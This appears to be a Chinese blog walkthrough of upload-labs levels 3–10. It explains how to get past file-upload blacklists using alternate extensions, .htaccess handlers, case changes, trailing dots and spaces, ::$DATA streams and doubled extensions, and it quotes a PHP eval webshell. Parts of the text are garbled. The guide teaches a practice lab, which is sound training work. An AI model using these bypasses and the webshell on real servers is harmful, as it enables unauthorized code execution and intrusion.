upload-labs第3关~10关 黑名单限制绕过

【第三关】黑名单限制不全

原理:黑名单绕过之修改后缀名

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第1张图片
对上传文件有清洗,也有黑名单验证,不过黑名单个数有点少~

Ⅱ 原理分析

修改文件类型数据包内容类型,都被拦截了,不过通过提示内容,外面知道这是黑名单滤过
upload-labs第3关~10关 黑名单限制绕过_第2张图片
黑名单是一种不安全,可以各种方法进行绕过
下图是常见的黑名单绕过方法
upload-labs第3关~10关 黑名单限制绕过_第3张图片

Ⅲ 绕过过程

上传php文件,burp抓包,修改文件名为1.php3
upload-labs第3关~10关 黑名单限制绕过_第4张图片
放包,查看后台文件
upload-labs第3关~10关 黑名单限制绕过_第5张图片
upload-labs第3关~10关 黑名单限制绕过_第6张图片upload-labs第3关~10关 黑名单限制绕过_第7张图片

【第四关】htaccess配置文件利用

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第8张图片
  黑名单更加丰富,清洗文件没有问题,但在生成上传文件的绝对路径使用了file_name,注意这个是没有后缀清洗过的.
  这里就会有一个问题:如果我上传文件后,通过了黑名单验证,就可以上传成功,这里可以利用配置文件.htaccess或.user.ini文件,将非黑名单的文件当作php文件执行
upload-labs第3关~10关 黑名单限制绕过_第9张图片

$img_path = UPLOAD_PATH.'/'.$file_name;

Ⅱ 原理分析

随便上传,提示
upload-labs第3关~10关 黑名单限制绕过_第10张图片

利用 .htaccess 文件的特点,使其所在目录下的所有文件以php文件执行
分别上传这两份文件
.htaccess

SetHandler application/x-httpd-php

.png

 @eval($_POST['a']);?>

Ⅲ 绕过过程

分别上传.htaccess文件和一个jpg/png格式的文件
upload-labs第3关~10关 黑名单限制绕过_第11张图片
分别用蚁剑和菜刀,都没有连接到,原因未知,不过可以网页访问
upload-labs第3关~10关 黑名单限制绕过_第12张图片
upload-labs第3关~10关 黑名单限制绕过_第13张图片

参考某博客的方法,不可行
upload-labs第3关~10关 黑名单限制绕过_第14张图片
Apache里的httpd.conf 添加了执行语句,也不可
image.png

需要解决下htacess文件绕过,蚁剑返回空数据

【第五关】大小写绕过

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第15张图片
跟第四关最大的不同,就是加多限制了htaccess文件,发现没有大小写转换函数,说明可以利用大小写绕过

Ⅱ 绕过过程

  • 上传php文件,burp抓包
  • 修改数据包,改成XX.Php,放包

upload-labs第3关~10关 黑名单限制绕过_第16张图片

  • 查看后台数据是否存在

upload-labs第3关~10关 黑名单限制绕过_第17张图片

【第六关】空格绕过

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第18张图片
相比于第一关的筛选条件上,缺少一个首尾去空格image.png

Ⅱ 绕过过程

上传->抓包->改包->放包
改包:将XXX.php 修改为 XXX.php
upload-labs第3关~10关 黑名单限制绕过_第19张图片
上传失败,未找到原因upload-labs第3关~10关 黑名单限制绕过_第20张图片

【第七关】尾点绕过

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第21张图片
缺少一个尾部点的去除image.png

Ⅱ 原理

解析下为什么可以用两个点号,绕过黑名单验证
在源码上,我们可以看到一个函数 strrchr($file_name, ‘.’),它是专门负责去除点号的,但它只会执行一次
增加的两个点里

  • 第一个点:抵消 strrchr($file_name, ‘.’)的作用
  • 第二个点:伪装php文件,形成 XXX.php. 文件,在win里面会忽略最后面的点号

upload-labs第3关~10关 黑名单限制绕过_第22张图片

Ⅲ 绕过过程

  1. 上传抓包->改包,将文件修改为 XXX.php…(注意有两个点)
  2. 放包,蚁剑连接

upload-labs第3关~10关 黑名单限制绕过_第23张图片

【第八关】文件流绕过

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第24张图片
缺少一个字符串筛选函数

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

Ⅱ 原理

利用**:: D A T A ∗ ∗ ,进行字符串绕过什么是 : : DATA**,进行字符串绕过 什么是:: DATA,进行字符串绕过什么是::DATA?
image.png

Ⅲ 绕过过程

四步走
上传
抓包
改包
upload-labs第3关~10关 黑名单限制绕过_第25张图片
放包,蚁剑连接
upload-labs第3关~10关 黑名单限制绕过_第26张图片

【第九关】未循环验证(未解决)

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第27张图片
  上传文件时,生成上传文件的绝对路径是用file_name 拼接上去,但file_name 只删除了尾点,我们可以利用Win10的特性,会自动忽略掉尾部空格和点号
  但我们上传了XXX.php文件,然后改成 XXX.php. . ,会通过in_array函数的验证,生成绝对路径时 变成 XXX.php_. ( **_表示空格 **) ,win10会忽略掉这两个

Ⅱ 绕过过程

根据网上的教学,用点空格点的方法绕过upload-labs第3关~10关 黑名单限制绕过_第28张图片
也就是XXX.php 改成 **XXX.php. . ** ,但提交后发现不可行,报错,未找到原因upload-labs第3关~10关 黑名单限制绕过_第29张图片

【第十关】双写绕过

Ⅰ 源码解析

upload-labs第3关~10关 黑名单限制绕过_第30张图片
将dent_ext内的值变成空格,也就是去除掉

 $file_name = str_ireplace($deny_ext,"", $file_name);

Ⅱ 绕过过程

上传文件,抓包
改包,将XXX.php 双写 XXX.pphphp
image.png
放包,
upload-labs第3关~10关 黑名单限制绕过_第31张图片

你可能感兴趣的:(Web安全,php,前端,服务器)